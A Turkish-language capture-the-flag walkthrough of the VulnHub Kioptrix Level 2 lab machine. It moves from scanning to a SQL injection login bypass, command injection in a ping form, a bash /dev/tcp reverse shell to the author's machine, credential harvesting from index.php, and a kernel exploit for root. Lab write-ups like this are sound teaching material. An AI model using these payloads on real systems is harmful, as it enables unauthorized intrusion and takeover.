Kioptrix serisinin ikinci yazısında ilk makine kadar kolay olmasa da kolay sayılabilecek level 2 makinesinin çözümünü anlatacağım. Bu makinenin çözümü ilkine göre daha zevkli ve öğretici.
Kioptrix level 2 indirme bağlantısı : https://www.vulnhub.com/entry/kioptrix-level-11-2,23/
Herzaman ki gibi işe makinenin ip adresinin bulmakla başlayalım.Bunun için netdiscover kullanacağım.
Nmap taraması ile hangi portların açık olduğuna bir bakalım.
İlk önce web uygulamasına bakalım.Karşımıza böyle bir giriş ekranı çıkacak.
Birkaç giriş (admin-admin, admin-root) denemem işe yaramadı.sonra sql injection varmı diye kontrol ettim ve giriş yapmayı başardım.
‘or’kb’=’kb
Karşımıza böyle bir ekran çıktı ve bize ping atılacak makineyi soruyor.Böyle şartlarda code execution aramak gerekir.
;ls
Code execution olduğu aşikar 🙂 beni pingit.php ye yönlendirdi ve dizindeki dosyaları listeledi.
Madem codex var o zaman reverse shell alalım ne duruyoruz.Ping atma inputuna şu komutçuğu girerek kendi makinemize (172.20.10.4) 7777.porttan istek atıyoruz Ve bu sırada nc ile bu portu dinliyoruz.
; bash -i >& /dev/tcp/172.20.10.4/7777 0>&1
Gördüğünüz gibi shell almayı başardık.Şimdi sıra hak yükseltmede.Bunun için bulunduğum dizine bir bakıyorum Ve index.php olduğunu görüp cat ile içine bakıyorum.İçinde bizim için önemli olabilecek bir bilgi var.Mysql bağlantısı yaptığı kullanıcı adı ve şifresi.
Aynı şekilde bu bilgilerin sistem kullanıcı adı ve parolası olabileceğini düşünüp deniyorum.Tabi işe yaramadı.
Bu bilgilerle mysql e bağlanıp kritik bilgilerin olup olmadığına bakalım.
webapp veritabanına girip kullanıcılara bakalım.
Bu bilgileri ssh bağlantısı yapıp kullandım fakat işe yaramadı.Pekala şimdi hak yükseltmemiz gerek.Root haklarına sahip olmak için gerekli exploit bilgisini çoğu zaman ben exploit suggester dan alıyorum.Exploit suggester ı makineye indirmek için kendi makinemde python ile bağlantı açıyorum ve hedef makineden wget ile suggester ı çekiyorum.
Kendi makinemde ;
Hedef makinede;
Exploit suggester ı çalıştırdıktan sonra çıkan exploitler bir işe yaramadı.
Ama çekirdek bilgisini searchsploit de aradıktan sonra işe yarar güzel bir exploit buldum.
Exploiti -m parametresi ile bulunduğum dizine kopyalıyorum ve tekrardan bağlantı açıyorum.
wget ile hedef makineye indirip çalıştırdığımda root haklarına sahip olmuş oluyorum. 🙂
